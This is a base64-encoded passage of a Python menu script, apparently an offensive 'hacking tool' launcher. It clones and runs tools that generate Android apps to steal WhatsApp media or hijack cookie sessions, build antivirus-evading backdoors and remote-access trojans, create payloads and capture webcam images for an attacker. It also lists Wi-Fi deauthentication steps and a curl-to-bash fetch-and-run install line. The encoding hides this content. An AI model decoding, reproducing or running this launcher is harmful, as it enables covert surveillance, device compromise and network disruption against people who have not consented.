9ICIzIjoKICAgICAgICBvcy5zeXN0ZW0oImFwdC1nZXQgaW5zdGFsbCBkZWZhdWx0LWpkayBhcGtzaWduZXIiKQogICAgICAgIG9zLnN5c3RlbSgiYXB0LWdldCBpbnN0YWxsIGxpYmM2LWRldi1pMzg2IGxpYjMyejEiKQogICAgICAgIG9zLnN5c3RlbSgid2dldCBodHRwczovL2RsLmdvb2dsZS5jb20vYW5kcm9pZC9yZXBvc2l0b3J5L3Nkay10b29scy1saW51eC00MzMzNzk2LnppcCAmJiBta2RpciAtcCAkSE9NRS9BbmRyb2lkL1NkayAmJiB1bnppcCBzZGstdG9vbHMtbGludXgqIC1kICRIT01FL0FuZHJvaWQvU2RrIikKICAgICAgICBvcy5zeXN0ZW0oImN1cmwgLXMgXCJodHRwczovL2dldC5zZGttYW4uaW9cIiB8IGJhc2ggJiYgc291cmNlICRIT01FLy5zZGttYW4vYmluL3Nka21hbi1pbml0LnNoICYmIGVjaG8gXCJZXCIgfCBzZGsgaW5zdGFsbCBqYXZhIDguMC4xOTEtb3JhY2xlICYmIHNkayB1c2UgamF2YSA4LjAuMTkxLW9yYWNsZSAmJiBzZGsgaW5zdGFsbCBncmFkbGUgMi4xNC4xICYmIHNkayB1c2UgZ3JhZGxlIDIuMTQuMSIpCiAgICBlbGlmIHVzZXJjaG9pY2UgPT0gIjk5IjoKICAgICAgICBhbmRyb2lkaGFjaygpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiB3aGF0c2hhY2soKToKICAgIG9zLnN5c3RlbSgiZWNobyBcIlNjcmlwdCB0byBnZW5lcmF0ZSBBbmRyb2lkIEFwcCB0byBIYWNrIEFsbCBXaGF0c0FwcCBNZWRpYSBGaWxlcy5cblx0WyFdRG93bmxvYWQgQW5kcm9pZCBTdHVkaW86XG5bK11odHRwczovL2RldmVsb3Blci5hbmRyb2lkLmNvbS9zdHVkaW8gXG5cdFshXUluc3RhbGxpbmcgQW5kcm9pZCBTdHVkaW86XG5bK111bnppcCB+L0Rvd25sb2Fkcy9hbmRyb2lkKi56aXAgLWQgL29wdCBcblJ1biBBbmRyb2lkIFN0dWRpbzogXG5bK10gY2QgL29wdC9hbmRyb2lkLXN0dWRpby9iaW4gXG5bK10gLi9zdHVkaW8uc2ggXG5bIV1HbyB0byBTREsgTWFuYWdlciAoQ29uZmlndXJlIC0+IFNESyBNYW5hZ2VyKSBhbmQgRG93bmxvYWQ6XG5bIV1BbmRyb2lkIFNESyBCdWlsZC10b29scywgQW5kcm9pZCBTREstdG9vbHMsIEFuZHJvaWQgU0RLIHBsYXRmb3JtLXRvb2xzLCBTdXBwb3J0IFJlcG9zaXRvcnlcIiB8IGJveGVzIC1kIHNoZWxsIHwgbG9sY2F0IikKICAgIHVzZXJjaG9pY2UgPSBpbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4iKQogICAgaWYgdXNlcmNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vdGhlbGludXhjaG9pY2Uvd2hhdHNoYWNrIikKICAgICAgICB0aW1lLnNsZWVwKDUpCiAgICAgICAgcHJpbnQoIkluc3RhbGxpbmcgUmVxdWlyZWQgUGFja2dlcy4uISEgSXQgVGFrZSBNb3JlIFRpbWUgIikKICAgICAgICB0aW1lLnNsZWVwKDMpCiAgICAgICAgb3Muc3lzdGVtKCJhcHQtZ2V0IGluc3RhbGwgb3Blbmpkay04LWpkayAmJiBhcHQtZ2V0IGluc3RhbGwgZ3JhZGxlIikKICAgICAgICBvcy5zeXN0ZW0oInVwZGF0ZS1hbHRlcm5hdGl2ZXMgLS1saXN0IGphdmEiKQogICAgICAgIG9zLnN5c3RlbSgidXBkYXRlLWFsdGVybmF0aXZlcyAtLXNldCBqYXZhIC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvYmluL2phdmEiKQogICAgICAgIHRpbWUuc2xlZXAoMikKICAgICAgICBhbmRyb2lkaGFjaygpCiAgICBlbGlmIHVzZXJjaG9pY2UgPT0gIjIiOgogICAgICAgIG9zLnN5c3RlbSgiZWNobyBcIlsjXU9uIEZpcnN0IFRpbWUsIENob29zZSBcIm5cIiB3aGVuIGFza3MgdG8gYnVpbGQsIHRoZW4gb3BlbiB0aGUgcHJvamVjdCBvbiBBbmRyb2lkIFN0dWRpbzpcblshXWNkIC9vcHQvYW5kcm9pZC1zdHVkaW8vYmluIFxuWyFdLi9zdHVkaW8uc2ggXG5bI11JbXBvcnQgR3JhZGxlIFByb2plY3Q6XG5bIV1DaG9vc2Ugd2hhdHNoYWNrIGFwcCBmb2xkZXI6IHdoYXRzaGFjay9hcHAvIFxuWyNdV2FpdCBhbGwgZGVwZW5kZW5jaWVzIGRvd25sb2FkaW5nLCBpZiB5b3UgZ290IGVycm9ycywgY2xpY2sgb24gc2hvd2VkIGxpbmtzIHRvIHNvbHZlLiBcblsjXVRyeSBidWlsZCBmcm9tIEFuZHJvaWQgU3R1ZGlvOiBCdWlsZCA+IGJ1aWxkIEFQSydzIFxuWyNdQ2xpY2sgb24gc2hvd2VkIGxpbmtzIGlmIHlvdSBnb3QgZXJyb3JzLiBcblsjXUNsb3NlIEFuZHJvaWQgYWZ0ZXIgYnVpbGRpbmcgc3VjY2Vzc2Z1bGx5LlxuWyNdb3BlbiB3aXRoIGFueSBUZXh0IEVkaXRvciB0aGUgZmlsZSBhcHAvYnVpbGQuZ3JhZGxlXG5bIV1yZW1vdmUgXCJnb29nbGVcIiBcblsjXWNoYW5nZSBncmFkbGUgdmVyc2lvbiBmcm9tOiAzLjQuMSB0bzogMi4yLjAgXG5bIV1zYXZlIGFuZCBleGl0LiBcblsjXUFmdGVyIHRoaXMgUnVuIFNjcmlwdCBBcyBSb290OiBcblshXWJhc2ggd2hhdHNoYWNrLnNoIFwifCBib3hlcyAtZCBzaGVsbCIpCiAgICAgICAgb3Muc3lzdGVtKCJlY2hvIFwiSWYgc3RpbGwgZ2V0dGluZyBlcnJvciBwbGVhc2UgdmlzaXQgXG5cdFsjXWh0dHBzOi8vZ2l0aHViLmNvbS90aGVsaW51eGNob2ljZS93aGF0c2hhY2tcInxib3hlcyAtZCBzaGVsbCIpCiAgICAgICAgb3Muc3lzdGVtKCJjZCB3aGF0c2hhY2svICYmIGJhc2ggd2hhdHNoYWNrLnNoIikKICAgIGVsaWYgdXNlcmNob2ljZSA9PSAiOTkiOgogICAgICAgIGFuZHJvaWRoYWNrKCkKICAgIGVsaWYgdXNlcmNob2ljZT09IiI6CiAgICAgICAgYW5kcm9pZGhhY2soKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgZHJvaWRjYW0oKToKICAgIG9zLnN5c3RlbSgiZWNobyBcIlNjcmlwdCB0byBnZW5lcmF0ZSBhbiBBbmRyb2lkIEFwcCB0byB0YWtlIHBob3RvcyBmcm9tIENhbWVyYXMgdXNpbmcgQ2FtZXJhMiBmdW5jdGlvbiBvbiBBUEkgMjFcbiBBZnRlciBJbnN0YWxsaW5nIGlmIHlvdSBnZXR0aW5nIGVycm9yIHBsZWFzZSBnbyB0byBiZWxvdyBsaW5rIFxuWytdaHR0cHM6Ly9naXRodWIuY29tL3RoZWxpbnV4Y2hvaWNlL0Ryb2lkQ2FtIFwifCBib3hlcyAtZCBib3kgfCBsb2xjYXQiKQogICAgdXNlcmNob2ljZSA9IGlucHV0KCJbMV1JbnN0YWxsIFsyXVJ1biBbOTldQmFjayA+PiIpCiAgICBpZiB1c2VyY2hvaWNlID09ICIxIjoKICAgICAgICBvcy5zeXN0ZW0oInN1ZG8gZ2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS90aGVsaW51eGNob2ljZS9kcm9pZGNhbSAiKQogICAgICAgIG9zLnN5c3RlbSgiY2QgZHJvaWRjYW0gJiYgc3VkbyBiYXNoIGluc3RhbGwuc2giKQogICAgICAgIGFuZHJvaWRoYWNrKCkKICAgIGVsaWYgdXNlcmNob2ljZSA9PSAiMiI6CiAgICAgICAgb3Muc3lzdGVtKCJjZCBkcm9pZGNhbSAmJiBiYXNoIGRyb2lkY2FtLnNoIikKICAgIGVsaWYgdXNlcmNob2ljZSA9PSAiOTkiOgogICAgICAgIGFuZHJvaWRoYWNrKCkKICAgIGVsc2UgOgogICAgICAgIG1lbnUoKQoKZGVmIGV2aWxhcHAoKToKICAgIG9zLnN5c3RlbSgiZWNobyBcIkV2aWxBcHAgaXMgYSBzY3JpcHQgdG8gZ2VuZXJhdGUgQW5kcm9pZCBBcHAgdGhhdCBjYW4gaGlqYWNrIGF1dGhlbnRpY2F0ZWQgc2Vzc2lvbnMgaW4gY29va2llc1wiYm94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIHVzZXJjaG9pY2UgPSBpbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4iKQogICAgaWYgdXNlcmNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vdGhlbGludXhjaG9pY2UvZXZpbGFwcCIpCiAgICAgICAgYW5kcm9pZGhhY2soKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICIyIjoKICAgICAgICBvcy5zeXN0ZW0oImNkIGV2aWxhcHAgJiYgYmFzaCBldmlsYXBwLnNoIikKICAgIGVsaWYgdXNlcmNob2ljZSA9PSAiOTkiOgogICAgICAgIGFuZHJvaWRoYWNrKCkKICAgIGVsc2UgOgogICAgICAgIG1lbnUoKQoKZGVmIHBheWxvYWRzKCk6CiAgICBjbGVhclNjcigpCiAgICBvcy5zeXN0ZW0oImZpZ2xldCAtZiBzdGFuZGFyZCAtYyBQYXlsb2FkcyB8IGxvbGNhdCIpCiAgICBwcmludCgiIiIKICAgICAgICBbMV0gVGhlIEZhdFJhdCoKICAgICAgICBbMl0gQnJ1dGFsCiAgICAgICAgWzNdIFN0aXRjaAogICAgICAgIFs0XSBNU0Z2ZW5vbSBQYXlsb2FkIENyZWF0b3IKICAgICAgICBbNV0gVmVub20gU2hlbGxjb2RlIEdlbmVyYXRvciAKICAgICAgICBbNl0gU3B5Y2FtCiAgICAgICAgWzk5XUJhY2sgCiAgICAiIiIpCiAgICBjaG9pY2UgPWlucHV0KCJaNG56dSA+PiAiKQogICAgaWYgY2hvaWNlID09ICIxIjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgdGhlZmF0cmF0KCkKICAgIGVsaWYgY2hvaWNlID09ICIyIjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgQnJ1dGFsKCkKICAgIGVsaWYgY2hvaWNlID09ICIzIjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgc3RpdGNoKCkKICAgIGVsaWYgY2hvaWNlID09ICI0IjoKICAgICAgICBjbGVhclNjcigpCiAgICAgICAgTVNGdmVub20oKQogICAgZWxpZiBjaG9pY2UgPT0gIjUiOgogICAgICAgIGNsZWFyU2NyKCkKICAgICAgICB2ZW5vbSgpCiAgICBlbGlmIGNob2ljZSA9PSAiNiI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgIHNweWNhbSgpCiAgICBlbGlmIGNob2ljZSA9PSAiOTkiOgogICAgICAgIG1lbnUoKQogICAgZWxpZiBjaG9pY2UgPT0gIiI6CiAgICAgICAgcGF5bG9hZHMoKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgdGhlZmF0cmF0KCk6CiAgICBvcy5zeXN0ZW0oImVjaG8gXCJUaGVGYXRSYXQgUHJvdmlkZXMgQW4gRWFzeSB3YXkgdG8gY3JlYXRlIEJhY2tkb29ycyBhbmQgXG5QYXlsb2FkIHdoaWNoIGNhbiBieXBhc3MgbW9zdCBhbnRpLXZpcnVzXCJ8Ym94ZXMgLWQgYm95IHwgbG9sY2F0IikKICAgIGNob2ljZSA9IGlucHV0KCJbMV1JbnN0YWxsIFsyXSBSdW4gWzNdVXBkYXRlIFs0XVRyb3VibGVTaG9vdChpZiBub3QgcnVuKSBbOTldQmFjayA+PiAgIikKICAgIGlmIGNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vU2NyZWV0c2VjL1RoZUZhdFJhdC5naXQiKSAKICAgICAgICBvcy5zeXN0ZW0oImNkIFRoZUZhdFJhdCAmJiBzdWRvIGNobW9kICt4IHNldHVwLnNoIikKICAgICAgICBwYXlsb2FkcygpCiAgICBlbGlmIGNob2ljZSA9PSAiMiI6CiAgICAgICAgb3Muc3lzdGVtKCJjZCBUaGVGYXRSYXQgJiYgc3VkbyBiYXNoIHNldHVwLnNoIikKICAgIGVsaWYgY2hvaWNlID09ICIzIjoKICAgICAgICBvcy5zeXN0ZW0oImNkIFRoZUZhdFJhdCAmJiBiYXNoIHVwZGF0ZSAmJiBjaG1vZCAreCBzZXR1cC5zaCAmJiBiYXNoIHNldHVwLnNoIikKICAgIGVsaWYgY2hvaWNlID09ICI0IjoKICAgICAgICBvcy5zeXN0ZW0oImNkIFRoZUZhdFJhdCAmJiBzdWRvIGNobW9kICt4IGNoa190b29scyAmJiAuL2Noa190b29scyIpCiAgICAgICAgdGltZS5zbGVlcCgyKQogICAgICAgIHBheWxvYWRzKCkKICAgIGVsaWYgY2hvaWNlID09ICI5OSI6CiAgICAgICAgcGF5bG9hZHMoKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgQnJ1dGFsKCk6CiAgICBvcy5zeXN0ZW0oImVjaG8gXCJCcnV0YWwgaXMgYSB0b29sa2l0IHRvIHF1aWNrbHkgY3JlYXRlIHZhcmlvdXMgcGF5bG9hZCxwb3dlcnNoZWxsIGF0dGFjayxcbnZpcnVzIGF0dGFjayBhbmQgbGF1bmNoIGxpc3RlbmVyIGZvciBhIEh1bWFuIEludGVyZmFjZSBEZXZpY2VcInxib3hlcyAtZCBib3kgfCBsb2xjYXQiKQogICAgcHJpbnQoIiIiCiAgICBbIV1SZXF1aXJlbWVudAogICAgICAgID4+QXJkdWlubyBTb2Z0d2FyZSAoIEkgdXNlZCB2MS42LjcgKQogICAgICAgID4+VGVlbnN5RHVpbm8KICAgICAgICA+PkxpbnV4IHVkZXYgcnVsZXMKICAgICAgICA+PkNvcHkgYW5kIHBhc3RlIHRoZSBQYWVuc3lMaWIgZm9sZGVyIGluc2lkZSB5b3VyIEFyZHVpbm9cbGlicmFyaWVzCiAgICBbIV1LaW5kbHkgVmlzaXQgYmVsb3cgbGluayBmb3IgSW5zdGFsbGF0aW9uIGZvciBBcmR1aW5vIAogICAgICAgID4+IGh0dHBzOi8vZ2l0aHViLmNvbS9TY3JlZXRzZWMvQnJ1dGFsL3dpa2kvSW5zdGFsbC1SZXF1aXJlbWVudHMgCiAgICAiIiIpCiAgICBjaG9pY2UgPSBpbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4gIikKICAgIGlmIGNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vU2NyZWV0c2VjL0JydXRhbC5naXQiKQogICAgICAgIG9zLnN5c3RlbSgiY2QgQnJ1dGFsICYmIHN1ZG8gY2htb2QgK3ggQnJ1dGFsLnNoICIpCiAgICAgICAgcGF5bG9hZHMoKQogICAgZWxpZiBjaG9pY2UgPT0gIjIiOgogICAgICAgIG9zLnN5c3RlbSgiY2QgQnJ1dGFsICYmIHN1ZG8gYmFzaCBCcnV0YWwuc2giKQogICAgZWxpZiBjaG9pY2UgPT0gIjk5IjoKICAgICAgICBwYXlsb2FkcygpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiBzdGl0Y2goKToKICAgIG9zLnN5c3RlbSgiZWNobyBcIlN0aXRjaCBpcyBDcm9zcyBQbGF0Zm9ybSBQeXRob24gUmVtb3RlIEFkbWluaXN0cmF0b3IgVG9vbFxuXHRbIV1SZWZlciBCZWxvdyBMaW5rIEZvciBXaW5zICYgTUFjIE9zXG5cdCghKWh0dHBzOi8vbmF0aGFubG9wZXouZ2l0aHViLmlvL1N0aXRjaCBcIiB8IGJveGVzIC1kIGJveSB8IGxvbGNhdCIpCiAgICBjaG9pY2UgPSBpbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4iICkKICAgIGlmIGNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vbmF0aGFubG9wZXovU3RpdGNoLmdpdCIpCiAgICAgICAgb3Muc3lzdGVtKCJjZCBTdGl0Y2ggJiYgc3VkbyBwaXAgaW5zdGFsbCAtciBsbnhfcmVxdWlyZW1lbnRzLnR4dCIpCiAgICAgICAgcGF5bG9hZHMoKQogICAgZWxpZiBjaG9pY2UgPT0gIjIiOgogICAgICAgIG9zLnN5c3RlbSgiY2QgU3RpdGNoICYmIHN1ZG8gcHl0aG9uIG1haW4ucHkiKQogICAgZWxpZiBjaG9pY2UgPT0gIjk5IjoKICAgICAgICBwYXlsb2FkcygpCiAgICBlbHNlIDoKICAgICAgICBtZW51KCkKCmRlZiBNU0Z2ZW5vbSgpOgogICAgY2hvaWNlPSBpbnB1dCgiWzFdSW5zdGFsbCBbMl1SdW4gWzk5XUJhY2sgPj4gIikKICAgIGlmIGNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vZzB0bWkxay9tc2ZwYy5naXQgJiYgY2QgbXNmcGMgJiYgY2htb2QgK3ggbXNmcGMuc2giKQogICAgICAgIHBheWxvYWRzKCkKICAgIGVsaWYgY2hvaWNlID09ICIyIjoKICAgICAgICBvcy5zeXN0ZW0oImNkIG1zZnBjICYmIHN1ZG8gYmFzaCBtc2ZwYy5zaCAtaCAtdiIpCiAgICBlbGlmIGNob2ljZSA9PSAiOTkiOgogICAgICAgIHBheWxvYWRzKCkKICAgIGVsaWYgY2hvaWNlID09ICIiOgogICAgICAgIHBheWxvYWRzKCkKICAgIGVsc2UgOgogICAgICAgIG1lbnUoKQoKZGVmIHZlbm9tKCk6CiAgICBvcy5zeXN0ZW0oImVjaG8gXCJ2ZW5vbSAxLjAuMTEgKG1hbGljaW91c19zZXJ2ZXIpIHdhcyBidWlsZCB0byB0YWtlIGFkdmFudGFnZSBvZiBcbiBhcGFjaGUyIHdlYnNlcnZlciB0byBkZWxpdmVyIHBheWxvYWRzIChMQU4pIHVzaW5nIGEgZmFrZSB3ZWJwYWdlIHdyaXRlbiBpbiBodG1sXCJ8IGJveGVzIC1kIGJveXwgbG9sY2F0IikKICAgIGNob2ljZSA9aW5wdXQoIlsxXUluc3RhbGwgWzJdUnVuIFs5OV1CYWNrID4+ICIpCiAgICBpZiBjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBnaXQgY2xvbmUgaHR0cHM6Ly9naXRodWIuY29tL3IwMHQtM3hwMTBpdC92ZW5vbS5naXQiKQogICAgICAgIG9zLnN5c3RlbSgic3VkbyBjaG1vZCAtUiA3NzUgdmVub20qLyAmJiBjZCB2ZW5vbSovICYmIGNkIGF1eCAmJiBzdWRvIGJhc2ggc2V0dXAuc2giKQogICAgICAgIG9zLnN5c3RlbSgic3VkbyAuL3Zlbm9tLnNoIC11IikKICAgICAgICBwcmludCgiRG93bmxvYWQgU3VjY2Vzc2Z1bGx5Li4uISEhIikKICAgICAgICBwYXlsb2FkcygpCiAgICAgICAgI3N1ZG8gZmluZCAuLyAtbmFtZSAiKi5zaCIgLWV4ZWMgY2htb2QgK3gge30gXDsgc3VkbyBmaW5kIC4vIC1uYW1lICIqLnB5IiAtZXhlYyBjaG1vZCAreCB7fSBcOwogICAgICAgICMgcHJpbnQoIkdpdmUgUGVybWlzc2lvbiB0byAuc2ggJiAucHkgRmlsZXMiKQogICAgZWxpZiBjaG9pY2UgPT0gIjIiOgogICAgICAgIG9zLnN5c3RlbSgiY2QgdmVub20gJiYgc3VkbyAuL3Zlbm9tLnNoIikKICAgIGVsaWYgY2hvaWNlID09ICI5OSI6CiAgICAgICAgcGF5bG9hZHMoKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgc3B5Y2FtKCk6CiAgICBvcy5zeXN0ZW0oImVjaG8gXCJTY3JpcHQgdG8gZ2VuZXJhdGUgYSBXaW4zMiBwYXlsb2FkIHRoYXQgdGFrZXMgdGhlIHdlYmNhbSBpbWFnZSBldmVyeSAxIG1pbnV0ZSBhbmQgc2VuZCBpdCB0byB0aGUgYXR0YWNrZXJcInxib3hlcyAtZCBib3kgfCBsb2xjYXQiKQogICAgdXNlcmNob2ljZSA9IGlucHV0KCJbMV1JbnN0YWxsIFsyXVJ1biBbOTldQmFjayA+PiAiKQogICAgaWYgdXNlcmNob2ljZSA9PSAiMSI6CiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGdpdCBjbG9uZSBodHRwczovL2dpdGh1Yi5jb20vdGhlbGludXhjaG9pY2Uvc3B5Y2FtICIpCiAgICAgICAgb3Muc3lzdGVtKCJjZCBzcHljYW0gJiYgYmFzaCBpbnN0YWxsLnNoICYmIGNobW9kICt4IHNweWNhbSIpCiAgICAgICAgcGF5bG9hZHMoKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICIyIjoKICAgICAgICBvcy5zeXN0ZW0oImNkIHNweWNhbSAmJiAuL3NweWNhbSIpCiAgICBlbGlmIHVzZXJjaG9pY2UgPT0gIjk5IjoKICAgICAgICBwYXlsb2FkcygpCiAgICBlbGlmIHVzZXJjaG9pY2UgPT0gIiI6CiAgICAgICAgcGF5bG9hZHMoKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgd2lmaWphbW1pbmcoKToKICAgIGNsZWFyU2NyKCkKICAgIG9zLnN5c3RlbSgiZmlnbGV0IC1mIHN0YW5kYXJkIC1jIFdpZmkgRGVhdXRoZXRpY2F0ZSB8IGxvbGNhdCIpCiAgICBwcmludCgiIiIKICAgICAgICBbMV0gVXNpbmcgQWlybW9uCiAgICAgICAgWzk5XUJhY2sKICAgICIiIikKICAgIGNob2ljZSA9IGlucHV0KCJaNG56dSA9Pj4gIikKICAgIGlmIGNob2ljZSA9PSAiMSI6CiAgICAgICAgY2xlYXJTY3IoKQogICAgICAgICMgYWlybW9uKCkKICAgICAgICBwYXNzCiAgICBlbGlmIGNob2ljZSA9PSAiOTkiOgogICAgICAgIG1lbnUoKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgYWlybW9uKCk6CiAgICAjIG9zLnN5c3RlbSgiZWNobyBcIiBcIiB8IGJveGVzIC1kIGJveSIpCiAgICBwcmludChMb2dvKQogICAgdXNlcmNob2ljZSA9IGlucHV0KCJbMV1JbnN0YWxsIFsyXVJ1biBbOTldQmFjayA+PiIpCiAgICBpZiB1c2VyY2hvaWNlID09ICIxIjoKICAgICAgICBwcmludCgiSW4gV29ya2luZyIpCiAgICAgICAgdGltZS5zbGVlcCg1KQogICAgICAgIG1lbnUoKQogICAgZWxpZiB1c2VyY2hvaWNlID09ICIyIjoKICAgICAgICBwcmludCgiIiIKICAgICAgICAgICAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICMgICAgIFshXSBGb2xsb3cgQmVsb3cgc3RlcHMgZm9yIEphbW1pbmcgWyFdICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAjICAgICBbMV1pd2NvbmZpZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgIyAgICAgWzJdYWlybW9uLW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICMgICAgIFszXWFpcm1vbi1uZyBzdGFydCBJbnRlcmZhY2VOYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAjICAgICBbNF1haXJvZHVtcC1uZyBJbnRlcmZhY2VOYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgIyAgICAgWzVdYWlyb2R1bXAtbmcgLWMgW0NIIG5vLl0gLS1ic3NpZCBbTUFDIGFkZHJlc3NdIEludGVyZmFjZU5hbWUgICAgICAjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICMgICAgIFs2XWFpcmVwbHktbmcgLTAgMCAtYSBbbWFjIGFkZHJlc3NdIEludGVyZmFjZU5hbWUgICAgICAgICAgICAgICAgICAgIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAjICAgICBbK11BZnRlciBDb21wbGV0ZSBtb25pdG9yIG1vZGUgcmV0dXJuIHlvdXIgaW50ZXJmYWNlIGluIG5vcm1hbCBtb2RlICMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgIyAgICAgWzddYWlybW9uLW5nIHN0b3AgSW50ZXJmYWNlTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAKICAgICAgICAiIiIpCiAgICAgICAgb3Muc3lzdGVtKCJzdWRvIGFpcm1vbi1uZyIpCiAgICBlbGlmIHVzZXJjaG9pY2UgPT0gIjk5IjoKICAgICAgICB3aWZpamFtbWluZygpCiAgICBlbGlmIHVzZXJjaG9pY2UgPT0gIiI6CiAgICAgICAgd2lmaWphbW1pbmcoKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpICAKICAgICMgej1yYXdfaW5wdXQoIkVudGVyIFlvdXIgd2lmaSBJbnRlcmZhY2UgTmFtZSA6LSAiKQogICAgIyBvcy5zeXN0ZW0oImFpcm1vbi1uZyAmJiBhaXJtb24tbmcgc3RhcnQgJXMiJXopCgpkZWYgc3RlZ2Fub2dyYXBoeSgpOgogICAgY2xlYXJTY3IoKQogICAgb3Muc3lzdGVtKCJmaWdsZXQgLWYgc3RhbmRhcmQgLWMgU3RlZ2Fub0dyYXBoeSB8IGxvbGNhdCIpCiAgICBwcmludCgiIiIKICAgICAgICBbMV0gU3RlZ2Fub0hpZGUKICAgICAgICBbMl0gU3RlZ25vQ3JhY2tlcgogICAgICAgIFszXSBXaGl0ZVNwYWNlCiAgICAgICAgWzk5XUJhY2sKICAgICIiIikKICAgIGNob2ljZSA9IGlucHV0KCJaNG56ID0+PiAiKQogICAgaWYgY2hvaWNlID09ICIxIjoKICAgICAgICBzdGVnYW5vaGlkZSgpCiAgICBlbGlmIGNob2ljZSA9PSAiMiI6CiAgICAgICAgc3RlZ25vY3JhY2tlcigpCiAgICBlbGlmIGNob2ljZSA9PSAiMyI6CiAgICAgICAgd2hpdGVzcGFjZSgpCiAgICBlbGlmIGNob2ljZSA9PSAiOTkiOgogICAgICAgIG1lbnUoKQogICAgZWxzZSA6CiAgICAgICAgbWVudSgpCgpkZWYgc3RlZ2Fub2hpZGUoKToKICAgIGNob2ljZSA9IGlucHV0KCJbMV1JbnN0YWxsIFsyXVJ1biBbOTldID4+ICIpCiAgICBpZiBjaG9pY2UgPT0gIjEiOgogICAgICAgIG9zLnN5c3RlbSgic3VkbyBhcHQtZ2V0IGluc3RhbGwgc3RlZ2hpZGUgLXkgIikKICAgICAgICBzdGVnYW5vZ3Jh